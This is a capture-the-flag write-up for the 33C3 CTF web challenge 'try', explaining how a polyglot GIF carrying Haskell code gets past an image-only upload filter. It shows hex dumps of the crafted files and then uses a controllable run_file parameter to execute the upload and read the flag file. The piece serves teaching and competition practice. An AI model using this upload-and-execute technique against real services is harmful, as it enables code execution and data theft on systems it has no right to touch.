33C3 CTF - 150 - try - Web



By Version Comment
noraj 1.0 Creation


  • Name : 33C3 CTF
  • Website : 33c3ctf.ccc.ac
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link


"I never try anything, I just do it!" Do

Flag is in /challenge/flag


Home page looks like this (need to log in with just a pseudo):

On the profil page we can upload a profil picture (only gif):

You can't use easy trick to upload any files except gif:

  • no double or triple extensions
  • no MIME type changing
  • not just the GIF file header 47 49 46 38 37 61 (GIF87a) + GIF file trailer 00 3B (;) -- see file signatures

You have to upload the nearly full skeleton of the GIF picture.

But you can use a web proxy (like burpsuite) and append whatever you want at the end of the GIF.

As the website seems to execute Haskell algorithms, I tried to append some haskell code.

hello world (just to confirm haskell execution):

main = putStrLn "hello world"

But just now we want to know where is uploaded our profil picture. It's embedded in the heading and have a location like this

Note: path is unpredictable and file is renamed.

What to do now? Try to execute it.

On the home page when you want to run some of the examples, you can see with a web proxy that the file to execute is up to you:

A legitimate run file is run_file=fib.hs.

If you try the download link you can see that this haskell script is hosted at Just remember that our picture is located at So what happen if we change it to run_file=33c3_50fc0c1d-e04a-4942-9fc8-8921e4e83e6e/pic.gif and if we append some haskell code at the end of the picture?

Unfortunatly this lead to an error: lexical error at character '\SOH' (with the tiniest GIF)

or lexical error (UTF-8 decoding error) (with a real GIF)

So we conclude that the interpreter try to execute the bytecode of the GIF image. Unfortunatly we are not able to upload only haskell.

To limit error possibilities we tried to upload one of the tiniest GIF and replaced 0x01 (SOF) with 0x00 (null) but the website doesn't allow that.

I think we have to upload a GIF file and neutralize GIF data. Then I read an excellent article talking about how to store javascript code in a GIF, so I tried to do the same with a haskell comment.

In haskell comments (ref) are like this:

  • -- a single line comment
  • {- A multiline comment which can continue for many lines -}
{ 0x7b
} 0x7d
- 0x2d

A legitimate minimalistic GIF would be:

$ xxd handtinyblack.gif
00000000: 4749 4638 3961 0100 0100 00ff 002c 0000 GIF89a.......,..
00000010: 0000 0100 0100 0002 003b .........;

Our malicious GIF with haskell comment and appended code would be:

$ xxd vuln.gif
00000000: 4749 4638 3961 7b2d 0100 0100 00ff 002c GIF89a{-.......,
00000010: 0000 0000 0100 0100 0002 003b 2d7d 0a6d ...........;-}.m
00000020: 6169 6e20 3d20 7075 7453 7472 4c6e 2022 ain = putStrLn "
00000030: 6865 6c6c 6f20 776f 726c 6422 0a hello world".

But again we have an error: Parse error: naked expression at top level. Perhaps you intended to use TemplateHaskell

So we want to change GIF89a from an expression to a variable or a function, but the problem is that in haskell functions can't begin with an uppercase letter, only data constructor can. So we can't begin with something like GIF89a :: Integer and if we begin with somethin else than GIF89a the image is not recognized as valid.

All the difficulty is about crafting a valid haskell code beginning with GIF89a.

I went to the official Haskell IRC and asked for this question, the trick is to start the file with a pattern matching and declare it later (ref).

$ xxd vuln2.gif
00000000: 4749 4638 3961 203d 2047 4946 3839 617b GIF89a = GIF89a{
00000010: 2d01 0001 0000 ff00 2c00 0000 0001 0001 -.......,.......
00000020: 0000 0200 3b2d 7d0a 6461 7461 2047 4946 ....;-}.data GIF
00000030: 3839 6120 3d20 4749 4638 3961 0a6d 6169 89a = GIF89a.mai
00000040: 6e20 3d20 7075 7453 7472 4c6e 2022 6865 n = putStrLn "he
00000050: 6c6c 6f20 776f 726c 6422 0a llo world".

That works now! So now we will just switch the hello world program to somethinf reading the flag folder (we need native function because we can't use import as it needs to be at the beginning of the file in the heading section):

main = do  
contents <- readFile "/challenge/flag"
print $ contents